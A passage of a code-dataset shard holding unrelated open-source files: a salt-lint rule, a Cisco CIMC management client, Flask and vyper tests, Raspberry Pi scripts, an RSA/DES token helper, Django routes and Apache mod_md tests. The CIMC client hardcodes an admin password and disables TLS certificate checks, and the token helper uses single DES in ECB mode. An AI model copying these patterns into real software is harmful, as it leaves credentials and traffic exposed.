nn.ReLU())\n\n if pretrained:\n load_pretrained(self, 'retinanet')\n", "source": "hotcouscous1/TensorBricks", "license": "BSD-3-Clause"} {"text": "# -*- coding: utf-8 -*-\n# opyright (c) 2020 Warpnet B.V.\n\nimport os\nfrom saltlint.linter.rule import Rule\nfrom saltlint.utils import LANGUAGE_SLS\n\n\nclass SLSFileNameRule(Rule):\n id = '214'\n shortdesc = ('SLS file with a period in the name (besides the suffix period) can not be '\n 'referenced')\n description = ('SLS file with a period in the name (besides the suffix period) can not be '\n 'referenced')\n severity = 'HIGH'\n languages = [LANGUAGE_SLS]\n tags = ['formatting']\n version_added = 'v0.5.0'\n\n def matchtext(self, file, text):\n results = []\n path = file['path']\n basename = os.path.basename(path)\n if len(basename.split('.')) > 2:\n line_no = 1\n lines = text.splitlines()\n line = lines[0] if len(lines) > 0 else ''\n results.append((line_no, line, self.shortdesc))\n return results\n", "source": "Chupaka/salt-lint", "license": "MIT"} {"text": "#!/usr/bin/env python\n\n__author__ = 'Rob Horner (robert@horners.org)'\n\nimport xml.etree.ElementTree as ET\nfrom collections import namedtuple, defaultdict\nimport time, sys\nimport inspect\nfrom pprint import pprint\nimport requests\nimport logging\nfrom exception_mapper import *\n\nLOGIN_TIMEOUT = 5.0\nREQUEST_TIMEOUT = 10.0\nCREATE_DRIVE_TIMEOUT = 60.0\n\nVersion = namedtuple('Version',['major','minor','maintenance']) # Class variable - data shared\nVirtualDrive = namedtuple('VirtualDrive',['drive_path', 'virtual_drive_name', 'raid_level', 'raid_size', 'drive_group', 'write_policy'])\n\n# timeit decorator for, you know, timing testing\ndef timeit(method):\n def timed(*args, **kw):\n tstart = time.time()\n result = method(*args, **kw)\n tend = time.time()\n print '==> %r (%r, %r) %2.2f sec' % \\\n (method.__name__, args, kw, tend-tstart)\n return result\n return timed\n\nclass InventoryDict(defaultdict):\n\n # pprint doesn't know how to handle defaultdict - it wants a dict __repr__.\n # Let's override its __repr__ method so that it prints out like a regular dict\n __repr__ = dict.__repr__\n\nclass UcsServer():\n\n version = Version(0,6,0)\n\n def __init__(self, ipaddress, username, password):\n self.session_cookie = None\n self.session_refresh_period = None\n self.status_message = ''\n self.ipaddress = ipaddress\n self.username = username\n self.password = password\n self.serial_no = 'not queried'\n self.model = 'not queried'\n self.total_memory = 0\n self.inventory = InventoryDict()\n\n def __enter__(self):\n if self.login():\n return self\n\n def __exit__(self, exc_type, exc_inst, exc_tb):\n if exc_type is not None:\n print '%s' % exc_inst.args[0]\n # print '%s' % exc_tb.__dict__\n return True\n # print 'Returning None which is a false value, meaning, no execeptions were handled'\n self.logout()\n\n # @timeit\n def login(self):\n \"\"\"\n Log in to the CIMC using the instance's ipaddress, username, and password configured during init()\n\n XML Query:\n \" -X POST https://172.29.85.36/nuova --insecure\n XML Response:\n \n\n \"\"\"\n command_string = \"\" % (self.username, self.password)\n try:\n with RemapExceptions():\n response = post_request(self.ipaddress, command_string, timeout=LOGIN_TIMEOUT)\n if 'outCookie' in response.attrib:\n self.session_cookie = response.attrib['outCookie']\n if 'outRefreshPeriod' in response.attrib:\n self.session_refresh_period = response.attrib['outRefreshPeriod']\n if 'outVersion' in response.attrib:\n self.version = response.attrib['outVersion']\n return self\n except TimeoutError:\n print 'Timeout connecting to %s' % self.ipaddress\n sys.exit()\n except ConnectionError as err:\n print 'Could not connect to %s: %s' % (self.ipaddress, err)\n sys.exit()\n except ResponseError as err:\n print 'Could not connect to %s: %s' % (self.ipaddress, err)\n sys.exit()\n\n # @timeit\n def logout(self):\n \"\"\"\n Log out of the server instance. Invalidates the current session cookie in self.session_cookie\n \"\"\"\n command_string = \"\" % (self.session_cookie, self.session_cookie)\n auth_response = post_request(self.ipaddress, command_string)\n\n if 'errorCode' in auth_response:\n self.status_message = \"Logout Error: Server returned status code %s: %s\" % (auth_response['errorCode'], auth_response['errorDescr'])\n raise Exception\n\n def set_power_state(self, power_state, force=False):\n \"\"\"\n Change the power state of the server.\n\n power_state options from the XML Schema are\n \"up\", \"down\", \"soft-shut-down\", \"cycle-immediate\",\n \"hard-reset-immediate\", bmc-reset-immediate\",\n \"bmc-reset-default\", \"cmos-reset-immediate\",\n \"diagnostic-interrupt\"\n \"\"\"\n if force:\n command_string = '''\\\n \\\n \n \\\n ''' % (self.session_cookie, power_state)\n response_element = post_request(self.ipaddress, command_string)\n return True\n else:\n print 'power() must be called with \"force=True\" to change the power status of the server'\n return False\n\n def refresh_cookie(self):\n pass\n\n def get_chassis_info(self):\n \"\"\"\n Get the top-level chassis info and record useful info like serial number, model, memory, etc, in server.inventory['chassis'] sub-dictionary\n \"\"\"\n chassis_dict = {}\n with RemapExceptions():\n command_string = '' % self.session_cookie\n response_element = post_request(self.ipaddress, command_string)\n for key,value in response_element.find('.//computeRackUnit').items():\n chassis_dict[key] = value\n self.inventory['chassis'] = chassis_dict\n self.serial_no = self.inventory['chassis']['serial']\n self.model = self.inventory['chassis']['model']\n self.total_memory = self.inventory['chassis']['totalMemory']\n self.name = self.inventory['chassis']['name']\n self.operPower = self.inventory['chassis']['operPower']\n return self\n\n def get_cimc_info(self):\n with RemapExceptions():\n command_string = '' % self.session_cookie\n response_element = post_request(self.ipaddress, command_string)\n out_configs = response_element.find('outConfigs')\n self.inventory['cimc'] = out_configs.find('mgmtIf').attrib\n\n def get_boot_order(self):\n bootorder_dict = {}\n with RemapExceptions():\n command_string = '' % self.session_cookie\n response_element = post_request(self.ipaddress, command_string)\n out_configs = response_element.find('outConfigs')\n for i in out_configs.getchildren():\n print i\n try:\n bootorder_dict[i.attrib['order']] = i.attrib['type']\n except:\n self.inventory['boot_order'] = None\n return self\n\n # represent the boot order as an ordered list from the returned dict based on the 'order' key\n # {'1': 'virtual-media', '3': 'storage', '2': 'lan'} becomes ['virtual-media', 'lan', 'storage']\n self.inventory['boot_order'] = [bootorder_dict[key] for key in sorted(bootorder_dict)]\n return self\n\n def get_drive_inventory(self):\n \"\"\"\n Retrieve both physical and virtual drive inventories.\n Populate .inventory['drives'] with the resulting dictionary\n \"\"\"\n drive_dict = {'storageLocalDisk':[], 'storageVirtualDrive':[]}\n command_string = ['' % self.session_cookie,\n '' % self.session_cookie]\n with RemapExceptions():\n for command in command_string:\n response_element = post_request(self.ipaddress, command)\n out_configs = response_element.find('outConfigs')\n for config in out_configs.getchildren():\n drive_dict[config.tag].append(config.attrib)\n self.inventory['drives'] = drive_dict\n return self\n\n def get_local_drive_usage(self):\n local_drive_usage_list=[]\n command_string = '' % self.session_cookie\n response_element = post_request(self.ipaddress, command_string)\n out_configs = response_element.find('outConfigs')\n for config in out_configs.getchildren():\n local_drive_usage_list.append(config.attrib)\n self.inventory['drive_usage'] = local_drive_usage_list\n return self\n\n def configure_pd_as_unconfigured_good_from_jbod(self, controller_path, phys_drive_id, force=False):\n \"\"\"\n \n \n \n \n \n \"\"\"\n if force:\n command_string = '''\n \n \n \n ''' % (self.session_cookie, controller_path, phys_drive_id, controller_path, phys_drive_id, phys_drive_id)\n print 'will execute %s' % command_string\n # Just printing out for now. Don't actually execute the command\n # response_element = post_request(self.ipaddress, command_string, timeout=CREATE_DRIVE_TIMEOUT)\n else:\n print 'configure_pd_as_unconfigured_good_from_jbod() must be called with \"force=True\" to force to JBOD'\n return False\n\n\n def print_drive_inventory(self):\n \"\"\"\n Print out the drive inventory dict in a user-friendly format.\n \"\"\"\n if any(self.inventory['drives']):\n print 'Virtual Drives:'\n for vd in self.inventory['drives']['storageVirtualDrive']:\n print \"{id:>2} {dn:<48} {size:>11} {raidLevel} {name}\".format(**vd)\n print 'Physical Drives:'\n for pd in self.inventory['drives']['storageLocalDisk']:\n print \"{id:>2} {dn:<48} {coercedSize:>11} {pdStatus}\".format(**pd)\n else:\n print 'No drive inventory found! Please run \"get_drive_inventory() on the server instance first.'\n\n @timeit\n def create_virtual_drive(self, controller_path, virtual_drive_name, raid_level, raid_size, drive_group, write_policy='Write Back Good BBU', force=False, debug=False):\n \"\"\"\n \n \n \n \n \n \"\"\"\n if force:\n command_string = '''\n \n \n \n ''' % (self.session_cookie, controller_path, controller_path, virtual_drive_name, raid_level, raid_size, drive_group, write_policy)\n if debug:\n print 'XML Drive create command:',command_string\n response_element = post_request(self.ipaddress, command_string, timeout=CREATE_DRIVE_TIMEOUT)\n return True\n else:\n print 'create_virtual_drive() must be called with \"force=True\" to create the drive'\n return False\n\n def get_interface_inventory(self):\n \"\"\"\n Get network interface inventory with three calls:\n query adaptorUnit classId to find all adaptors\n query adaptorExtEthIf classId to find all physical network interfaces\n query adaptorHostEthIf classId to find all vNIC interfaces\n Combine all of the results in a hierarchical dict structure and return it in self.inventory['interfaces']\n \"\"\"\n\n adaptorUnit_list = []\n adaptorHostEthIf_list = []\n adaptorExtEthIf_list = []\n with RemapExceptions():\n # query adaptorUnit classId to find all adaptors\n # {'dn': 'sys/rack-unit-1/adaptor-2', 'cimcManagementEnabled': 'no', 'vendor': 'Cisco Systems Inc', 'description': '', 'presence': 'equipped', 'model': 'UCSC-PCIE-CSC-02', 'adminState': 'policy', 'pciSlot': '2', 'pciAddr': '64', 'serial': 'FCH17457FSM', 'id': '2'}\n # {'dn': 'sys/rack-unit-1/adaptor-5', 'cimcManagementEnabled': 'no', 'vendor': 'Cisco Systems Inc', 'description': '', 'presence': 'equipped', 'model': 'UCSC-PCIE-CSC-02', 'adminState': 'policy', 'pciSlot': '5', 'pciAddr': '73', 'serial': 'FCH17457FUC', 'id': '5'}\n\n command_string = '' %\\\n (self.session_cookie, 'adaptorUnit')\n response_element = post_request(self.ipaddress, command_string)\n out_configs = response_element.find('outConfigs')\n for config in out_configs.getchildren():\n adaptorUnit_list.append(config.attrib)\n #self.inventory['adaptor'] = adaptorUnit_list\n\n # query adaptorExtEthIf classId to find all physical network interfaces\n command_string = '' %\\\n (self.session_cookie, 'adaptorExtEthIf')\n response_element = post_request(self.ipaddress, command_string)\n out_configs = response_element.find('outConfigs')\n for config in out_configs.getchildren():\n adaptorExtEthIf_list.append(config.attrib)\n #self.inventory['ext_eth_if'] = adaptorExtEthIf_list\n\n # query adaptorHostEthIf classId to find all vNIC interfaces\n command_string = '' %\\\n (self.session_cookie, 'adaptorHostEthIf')\n response_element = post_request(self.ipaddress, command_string)\n out_configs = response_element.find('outConfigs')\n for config in out_configs.getchildren():\n adaptorHostEthIf_list.append(config.attrib)\n #self.inventory['host_eth_if'] = adaptorHostEthIf_list\n\n # Build a nested JSON structure with adaptor, physical ports, and vnics\n out_list = []\n for adaptor in adaptorUnit_list:\n # create an empty list of ports for each adaptor\n if 'port' not in adaptor:\n adaptor['port'] = []\n for port in adaptorExtEthIf_list:\n # create an empty list of vnics for each port\n if 'vnic' not in port:\n port['vnic'] = []\n # If this port is on the current adaptor, append its dict to the 'port' list\n if adaptor['dn'].split('/')[2] == port['dn'].split('/')[2]:\n adaptor['port'].append(port)\n for vnic in adaptorHostEthIf_list:\n # If this vnic is on the current adaptor and is also on the current port,\n # append it to the port's vnic list\n if (adaptor['dn'].split('/')[2] == vnic['dn'].split('/')[2]) and (vnic.get('uplinkPort') == port['portId']):\n port['vnic'].append(vnic)\n\n out_list.append(adaptor)\n\n self.inventory['adaptor'] = out_list\n\n def get_pci_inventory(self):\n \"\"\"\n Query the pciEquipSlot class to get all PCI cards\n pciEquipSlot : {'dn': 'sys/rack-unit-1/equipped-slot-2', 'smbiosId': '2', 'controllerReported': '2', 'vendor': '0x1137', 'model': 'UCS VIC 1225 10Gbps 2 port CNA SFP+', 'id': '2'}\n pciEquipSlot : {'dn': 'sys/rack-unit-1/equipped-slot-4', 'smbiosId': '4', 'controllerReported': '4', 'vendor': '0x1000', 'model': 'LSI 9271-8i MegaRAID SAS HBA', 'id': '4'}\n pciEquipSlot : {'dn': 'sys/rack-unit-1/equipped-slot-5', 'smbiosId': '5', 'controllerReported': '5', 'vendor': '0x1137', 'model': 'UCS VIC 1225 10Gbps 2 port CNA SFP+', 'id': '5'}\n \"\"\"\n\n pciEquipSlot_list = []\n with RemapExceptions():\n command_string = '' % self.session_cookie\n response_element = post_request(self.ipaddress, command_string)\n out_configs = response_element.find('outConfigs')\n for config in out_configs.getchildren():\n pciEquipSlot_list.append(config.attrib)\n self.inventory['pci'] = pciEquipSlot_list\n\n def get_psu_inventory(self):\n \"\"\"\n Query the equipmentPsu class to get the power supply inventory and status on the server\n Populate .inventory['ps'] with the resulting dictionary\n\n Example XMLAPI response:\n \n \n \n \n \n \n \"\"\"\n\n psu_list = []\n with RemapExceptions():\n command_string = '' % self.session_cookie\n response_element = post_request(self.ipaddress, command_string)\n out_configs = response_element.find('outConfigs')\n for config in out_configs.getchildren():\n psu_list.append(config.attrib)\n self.inventory['psu'] = psu_list\n\n def get_bios_settings(self):\n \"\"\"\n Query the firmwareRunning class to get all FW versions on the server\n Populate .inventory['bios'] with the resulting dictionary\n \"\"\"\n with RemapExceptions():\n bios_dict = {}\n command_string = '' % self.session_cookie\n response_element = post_request(self.ipaddress,command_string)\n all_bios_settings = response_element.find('*/biosSettings').getchildren()\n for i in all_bios_settings:\n bios_dict[i.attrib['rn']] = {}\n for key,value in i.items():\n if key != 'rn':\n bios_dict[i.attrib['rn']][key]=value\n self.inventory['bios'] = bios_dict\n\n def set_bios_custom(self):\n \"\"\"\n Set the BIOS settings to Cisco's recommendations for virtualization\n \"\"\"\n with RemapExceptions():\n command_string = configConfMo_prepend_string % self.session_cookie\n for item in config.CUSTOM_BIOS_SETTINGS:\n command_string += configConfMo_template.format(item=item)\n command_string += configConfMo_append_string\n response_element = post_request(self.ipaddress, command_string)\n\n def set_sol_adminstate(self, state='enable', speed='115200', comport='com0'):\n \"\"\"\n Change the admin state of the Serial over LAN feature. Valid states are 'enable' and 'disable'.\n Valid speeds are '115200', '57600', '38400', '19200', '9600'\n Valid COM ports are 'com0' and 'com1'\n \"\"\"\n command_string = '\\\n \\\n ' % (self.session_cookie, state, speed, comport)\n with RemapExceptions():\n response_element = post_request(self.ipaddress, command_string)\n print 'Changed SOL admin state to', state\n\n def get_users(self):\n\n command_string = '' % self.session_cookie\n with RemapExceptions():\n response_element = post_request(self.ipaddress, command_string)\n self.inventory['users'] = [user.attrib for user in response_element.findall('*/aaaUser')\n if user.attrib['name']]\n\n def set_password(self, userid, password):\n \"\"\"\" inHierarchical=\"false\" dn=\"sys/user-ext/user-3\">\n \n \" />\n \n \"\"\"\n if not self.inventory['users']:\n self.get_users()\n # Make sure we have the requested user\n try:\n (id, dn) = next((user['id'],user['dn'])\n for user in self.inventory['users']\n if user['name'] == userid)\n except StopIteration:\n print 'Cannot find user', userid\n return False\n\n # ready to go. Change the user password\n command_string = '\\\n ' % (self.session_cookie, dn, id, password)\n with RemapExceptions():\n response_element = post_request(self.ipaddress, command_string)\n\n # @timeit\n def get_fw_versions(self):\n \"\"\"\n Query the firmwareRunning class to get all FW versions on the server\n Populate .inventory['fw'] with the resulting sorted list\n \"\"\"\n fw_dict = {}\n command_string = '' % self.session_cookie\n with RemapExceptions():\n response_element = post_request(self.ipaddress,command_string)\n for i in response_element.iter('firmwareRunning'):\n # ignore elements with 'fw-boot-loader'. More detail than we care about\n # we just want 'fw-system' entries\n if 'fw-boot-loader' not in i.attrib['dn']:\n fw_dict[i.attrib['dn']] = i.attrib['version']\n self.inventory['fw'] = fw_dict\n return self\n\ndef post_request(server, command_string, timeout=REQUEST_TIMEOUT):\n url = \"https://%s/nuova\" % server\n try:\n with RemapExceptions():\n response = ET.fromstring(requests.post(url, data=command_string, verify=False, timeout=timeout).text)\n # print 'response.attrib:', response.attrib\n # If something went wrong, the response will have an 'errorCode' key\n # if so, then print the error message and raise an exception\n if 'errorCode' in response.keys():\n print 'command:', command_string\n print 'response.attrib:', response.attrib\n raise ResponseError(\"'%s': '%s'\" % (response.attrib['errorCode'], response.attrib['errorDescr']))\n else:\n return response\n except TimeoutError:\n print 'Timed out communicating with %s' % server\n sys.exit()\n # except ConnectionError:\n # print 'Network problem connecting to %s' % server\n # sys.exit()\n\n\nif __name__ == \"__main__\":\n IPADDR = '192.168.200.100'\n USERNAME = 'admin'\n PASSWORD = 'MPan4scd'\n\n import sys\n\n\n # Test the set_sol_adminstate() method\n if 0:\n with UcsServer(IPADDR, USERNAME, PASSWORD) as server:\n server.set_sol_adminstate('enable')\n\n if 0:\n with UcsServer(IPADDR, USERNAME, PASSWORD) as server:\n server.get_fw_versions()\n out_string = server.ipaddress + ','\n for key,value in server.inventory['fw'].items():\n # lop off the first two elements in the path since they're the same for all responses\n path = '/'.join(key.split('/')[2:])\n out_string += path + ',' + value + ','\n print out_string\n\n if 0:\n with UcsServer(IPADDR,USERNAME,PASSWORD) as server:\n print '== chassis info =='\n server.get_chassis_info()\n print '== CIMC info =='\n server.get_cimc_info()\n # print '== Boot order =='\n # myserver.get_boot_order()\n print '== Drive inventory =='\n server.get_drive_inventory()\n print '== FW versions =='\n server.get_fw_versions()\n print '== BIOS settings =='\n server.get_bios_settings()\n print '== PCI inventory =='\n server.get_pci_inventory()\n print '== Interface inventory =='\n server.get_interface_inventory()\n print '== PSU inventory =='\n server.get_psu_inventory()\n\n pprint(server.inventory)\n\n\n if 0:\n if server.login():\n for item,command in command_strings.items():\n start = time.time()\n full_command = command % server.session_cookie\n response = post_request(server.ipaddress, full_command)\n print item\n tmp = response.find('outConfigs').getchildren()\n for item in tmp:\n print item.tag, item.attrib\n print (time.time() - start)\n print '\\n'\n\n server.logout()\n", "source": "rohorner/pycimc", "license": "MIT"} {"text": "\"\"\" This file will initialize our Flask app and all fixtures we need \"\"\"\nimport pytest\n\nfrom goods import app as flask_app, db\nfrom models import Goods\n\n\n@pytest.fixture\ndef app():\n yield flask_app\n\n\n@pytest.fixture\ndef client(app):\n return app.test_client()\n\n\n@pytest.fixture(scope=\"module\", autouse=True)\ndef clean_db():\n print(\"clean goods table before test\")\n Goods.query.delete()\n db.session.commit()\n", "source": "ghasemel/UdacityDevOpsCapstone", "license": "Apache-2.0"} {"text": "from vyper import compile_lll, optimizer\nfrom vyper.parser.parser_utils import LLLnode\n\n\ndef test_sha3_32():\n lll = [\"sha3_32\", 0]\n evm = [\"PUSH1\", 0, \"PUSH1\", 192, \"MSTORE\", \"PUSH1\", 32, \"PUSH1\", 192, \"SHA3\"]\n assert compile_lll.compile_to_assembly(LLLnode.from_list(lll)) == evm\n assert compile_lll.compile_to_assembly(optimizer.optimize(LLLnode.from_list(lll))) == evm\n", "source": "kn1g/vyper", "license": "Apache-2.0"} {"text": "import pingo\nfrom time import sleep\n\nprint \"Detectando placa, aguarde...\"\nboard = pingo.detect.get_board()\nprint \"Placa -> %s\" % (board)\n\nprint \"Configurando pino 13 [Led Onboard]\"\nled_pin = board.pins[13]\nled_pin.mode = pingo.OUT\n\nprint \"Loop...\"\nwhile True:\n led_pin.hi()\n print \"Led ON\"\n sleep(1)\n led_pin.lo()\n print \"Led OFF\\n\"\n sleep(1)\n\n\n", "source": "cleitonbueno/arduinoday", "license": "MIT"} {"text": "#!/usr/bin/env python\n\nimport RPi.GPIO as GPIO\nimport sys\nsys.path.append('MFRC522-python')\nfrom mfrc522 import SimpleMFRC522\n\nreader = SimpleMFRC522()\n\nprint(\"Hold a tag near the reader\")\n\ntry:\n id, text = reader.read()\n print(id)\n print(text)\n\nfinally:\n GPIO.cleanup()\n", "source": "MAKER-park/mask_supply", "license": "MIT"} {"text": "\"\"\"\n 1. \u52a0\u5bc6\n Step1: generate_keypair() \u751f\u6210\u5bc6\u94a5\u5bf9 .\n Step2: \u516c\u94a5\u52a0\u5bc6 token (json \u683c\u5f0f) \u5982\u4e0b:\n token_dic = {\n \"username\": \"\",\n \"machine_id\": \"\",\n \"timestamp\": time(),\n \"model_name\": \"man01\",\n }\n Step3: DES \u52a0\u5bc6\u4e0a\u4e00\u6b65\u5f97\u5230\u7ed3\u679c .\n\n 2. \u89e3\u5bc6\n Step1: \u79c1\u94a5\u89e3\u5bc6\u4e24\u6b21\u52a0\u5bc6\u8fc7\u7684 token .\n Step2: DES \u89e3\u5bc6\u4e0a\u4e00\u6b65\u7ed3\u679c .\n Step3: json.loads(\"des_result\".split(\"=\")[0]) => Token dict .\n\n\"\"\"\n\nimport json\nimport binascii\nfrom time import time\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Cipher import DES\nfrom Crypto.Cipher import PKCS1_OAEP\n\n\nfrom config import TOKEN_KEY\n\n\ndef generate_keypair():\n keyPair = RSA.generate(3072)\n\n pubKey = keyPair.publickey()\n pubKeyPEM = pubKey.exportKey()\n public_key = pubKeyPEM.decode('ascii')\n privKeyPEM = keyPair.exportKey()\n private_key = privKeyPEM.decode('ascii')\n\n with open(\"public.pem\", \"w\") as f:\n f.write(public_key)\n\n with open(\"private.pem\", \"w\") as f:\n f.write(private_key)\n\n print(\"Public key \", public_key)\n print(\"Private key \", private_key)\n\n\ndef encry_rsa(msg):\n with open(\"public.pem\", 'r') as f:\n key = f.read()\n public_key = RSA.importKey(key)\n encryptor = PKCS1_OAEP.new(public_key)\n encrypted = encryptor.encrypt(msg)\n print(\"Encrypted:\", binascii.hexlify(encrypted))\n return encrypted\n\n\ndef decrypt_rsa(encrypted):\n with open(\"private.pem\", 'r') as f:\n key = f.read()\n privite_key = RSA.importKey(key)\n decryptor = PKCS1_OAEP.new(privite_key)\n decrypted = decryptor.decrypt(encrypted)\n print('Decrypted:', decrypted)\n return decrypted\n\n\ndef engry_des(token):\n des = DES.new(TOKEN_KEY, DES.MODE_ECB)\n text = token + (8 - (len(token) % 8)) * '='\n hex_text = des.encrypt(text.encode()) # Hexadecimal representation of binary data\n encry_text = binascii.b2a_hex(hex_text)\n return encry_text\n\n\ndef decrypt_des(encry_text):\n if not isinstance(encry_text, bytes):\n encry_text = encry_text.encode()\n des = DES.new(TOKEN_KEY, DES.MODE_ECB)\n binary_text = binascii.a2b_hex(encry_text) # Binary data of hexadecimal representation.\n decrypt_text = des.decrypt(binary_text).decode()\n return decrypt_text\n\n\nif __name__ == \"__main__\":\n generate_keypair()\n\n token_dic = {\n \"username\": \"111111\",\n \"machine_id\": \"9djdxkdkjfksda\",\n \"timestamp\": time(),\n \"model_name\": \"man01\",\n }\n token_str = json.dumps(token_dic)\n\n # \u52a0\u5bc6\n encrypted_des = engry_des(token_str)\n encrypted = encry_rsa(encrypted_des)\n res_token = binascii.hexlify(encrypted).decode()\n print(res_token)\n\n # \u89e3\u5bc6\n encrypted = binascii.unhexlify(res_token.encode())\n decrypted = decrypt_rsa(encrypted)\n decrypted_des = decrypt_des(decrypted)\n token_str = decrypted_des.split(\"=\")[0]\n token = json.loads(token_str)\n print(token)\n\n", "source": "Topaz1618/MeowShop", "license": "MIT"} {"text": "\"\"\"\nMake sure that the correct versions of gobject introspection dependencies\nare installed.\n\"\"\"\n\nimport os\nimport logging\n\nfrom gi import require_version\n\nfrom .locale import _\n\nrequire_version('Gio', '2.0')\nrequire_version('GLib', '2.0')\n\n\ndef check_call(exc_type, func, *args):\n try:\n func(*args)\n return True\n except exc_type:\n return False\n\n\ndef check_version(package, version):\n return check_call(ValueError, require_version, package, version)\n\n\n_in_X = bool(os.environ.get('DISPLAY'))\n\n_has_Gtk = (3 if check_version('Gtk', '3.0') else\n 2 if check_version('Gtk', '2.0') else\n 0)\n\n_has_Notify = check_version('Notify', '0.7')\n_has_AppIndicator3 = check_version('AppIndicator3', '0.1')\n\n\ndef require_Gtk(min_version=2):\n \"\"\"\n Make sure Gtk is properly initialized.\n\n :raises RuntimeError: if Gtk can not be properly initialized\n \"\"\"\n if not _in_X:\n raise RuntimeError('Not in X session.')\n if _has_Gtk < min_version:\n raise RuntimeError('Module gi.repository.Gtk not available!')\n if _has_Gtk == 2:\n logging.getLogger(__name__).warn(\n _(\"Missing runtime dependency GTK 3. Falling back to GTK 2 \"\n \"for password prompt\"))\n from gi.repository import Gtk\n # if we attempt to create any GUI elements with no X server running the\n # program will just crash, so let's make a way to catch this case:\n if not Gtk.init_check(None)[0]:\n raise RuntimeError(_(\"X server not connected!\"))\n return Gtk\n\n\ndef require_Notify():\n if not _has_Notify:\n raise RuntimeError('Module gi.repository.Notify not available!')\n from gi.repository import Notify\n return Notify\n\n\ndef require_AppIndicator3():\n if not _has_AppIndicator3:\n raise RuntimeError('Module gi.repository.Notify not available!')\n from gi.repository import AppIndicator3\n return AppIndicator3\n\n\ndef has_Notify():\n return check_call((RuntimeError, ImportError), require_Notify)\n\n\ndef has_Gtk(min_version=2):\n return check_call((RuntimeError, ImportError), require_Gtk, min_version)\n\n\ndef has_AppIndicator3():\n return check_call((RuntimeError, ImportError), require_AppIndicator3)\n", "source": "fbriere/udiskie", "license": "MIT"} {"text": "from django.urls import path\nfrom django.conf.urls import include\nfrom rest_framework import routers\n\nfrom content.views import v1\n\nrouter = routers.DefaultRouter()\nrouter.register('artist', v1.ArtistViewset, \"artist\")\nrouter.register('album', v1.AlbumViewSet, \"album\")\nrouter.register('song', v1.SongViewSet, \"song\")\nrouter.register('search', v1.MusicSearch, \"search\")\nrouter.register('browse', v1.Browse, 'browse')\nrouter.register('public', v1.PublicArtistViewSet, 'public')\n\nurlpatterns = [\n path(\"\", include(router.urls)),\n]\n", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "class Proxy(object):\r\n\r\n response_type = \"proxy\"\r\n\r\n def __init__(self, url, client_certificate=None, client_key=None):\r\n self.url = url\r\n self.certificate = client_certificate\r\n self.key = client_key\r\n\r\n def as_dict(self):\r\n proxy = {\r\n 'to': self.url\r\n }\r\n if self.certificate:\r\n proxy['cert'] = self.certificate\r\n\r\n if self.key:\r\n proxy['key'] = self.key\r\n\r\n result = {\r\n self.response_type: proxy\r\n }\r\n\r\n return result\r\n", "source": "ginjeni1/mountequist", "license": "MIT"} {"text": "# test mod_md status resources\n\nimport os\nimport re\n\nimport pytest\n\nfrom md_conf import HttpdConf\nfrom shutil import copyfile\n\nfrom md_env import MDTestEnv\n\n\n@pytest.mark.skipif(condition=not MDTestEnv.has_acme_server(),\n reason=\"no ACME test server configured\")\nclass TestStatus:\n\n @pytest.fixture(autouse=True, scope='class')\n def _class_scope(self, env, acme):\n env.APACHE_CONF_SRC = \"data/test_auto\"\n acme.start(config='default')\n env.check_acme()\n env.clear_store()\n HttpdConf(env).install()\n assert env.apache_restart() == 0\n\n @pytest.fixture(autouse=True, scope='function')\n def _method_scope(self, env, request):\n env.clear_store()\n self.test_domain = env.get_request_domain(request)\n\n # simple MD, drive it, check status before activation\n def test_920_001(self, env):\n domain = self.test_domain\n domains = [domain]\n conf = HttpdConf(env)\n conf.add_md(domains)\n conf.add_vhost(domain)\n conf.install()\n assert env.apache_restart() == 0\n assert env.await_completion([domain], restart=False)\n # we started without a valid certificate, so we expect /.httpd/certificate-status\n # to not give information about one and - since we waited for the ACME signup\n # to complete - to give information in 'renewal' about the new cert.\n status = env.get_certificate_status(domain)\n assert 'sha256-fingerprint' not in status\n assert 'valid' not in status\n assert 'renewal' in status\n assert 'valid' in status['renewal']['cert']\n assert 'sha256-fingerprint' in status['renewal']['cert']['rsa']\n # restart and activate\n # once activated, the staging must be gone and attributes exist for the active cert\n assert env.apache_restart() == 0\n status = env.get_certificate_status(domain)\n assert 'renewal' not in status\n assert 'sha256-fingerprint' in status['rsa']\n assert 'valid' in status['rsa']\n assert 'from' in status['rsa']['valid']\n\n # simple MD, drive it, manipulate staged credentials and check status\n def test_920_002(self, env):\n domain = self.test_domain\n domains = [domain]\n conf = HttpdConf(env)\n conf.add_md(domains)\n conf.add_vhost(domain)\n conf.install()\n assert env.apache_restart() == 0\n assert env.await_completion([domain], restart=False)\n # copy a real certificate from LE over to staging\n staged_cert = os.path.join(env.store_dir, 'staging', domain, 'pubcert.pem')\n real_cert = os.path.join(env.test_dir, 'data', 'test_920', '002.pubcert')\n assert copyfile(real_cert, staged_cert)\n status = env.get_certificate_status(domain)\n # status shows the copied cert's properties as staged\n assert 'renewal' in status\n assert 'Thu, 29 Aug 2019 16:06:35 GMT' == status['renewal']['cert']['rsa']['valid']['until']\n assert 'Fri, 31 May 2019 16:06:35 GMT' == status['renewal']['cert']['rsa']['valid']['from']\n assert '03039C464D454EDE79FCD2CAE859F668F269' == status['renewal']['cert']['rsa']['serial']\n assert 'sha256-fingerprint' in status['renewal']['cert']['rsa']\n\n # test if switching status off has effect\n def test_920_003(self, env):\n domain = self.test_domain\n domains = [domain]\n conf = HttpdConf(env)\n conf.add_md(domains)\n conf.add(\"MDCertificateStatus off\")\n conf.add_vhost(domain)\n conf.install()\n assert env.apache_restart() == 0\n assert env.await_completion([domain], restart=False)\n status = env.get_certificate_status(domain)\n assert not status\n\n def test_920_004(self, env):\n domain = self.test_domain\n domains = [domain]\n conf = HttpdConf(env)\n conf.add_md(domains)\n conf.add(\"MDCertificateStatus off\")\n conf.add_vhost(domain)\n conf.install()\n assert env.apache_restart() == 0\n assert env.await_completion([domain])\n status = env.get_md_status(\"\")\n assert \"version\" in status\n assert \"managed-domains\" in status\n assert 1 == len(status[\"managed-domains\"])\n\n # get the status of a domain on base server\n def test_920_010(self, env):\n domain = self.test_domain\n domains = [domain]\n conf = HttpdConf(env, std_vhosts=False, std_ports=False, text=f\"\"\"\nListen {env.http_port} https\nListen {env.https_port} https\n\nMDBaseServer on\nMDPortMap http:- https:{env.https_port}\n\nServerName {domain}\n\nSSLEngine on\n\n\nTLSListen {env.https_port}\nTLSStrictSNI off\n\nProtocols h2 http/1.1 acme-tls/1\n\n\n SetHandler server-status\n\n\n SetHandler md-status\n\n\n SSLEngine off\n\n \"\"\")\n conf.add_md(domains)\n conf.install()\n assert env.apache_restart(check_url=env.http_base_url) == 0\n assert env.await_completion([domain], restart=False,\n via_domain=env.http_addr, use_https=False)\n status = 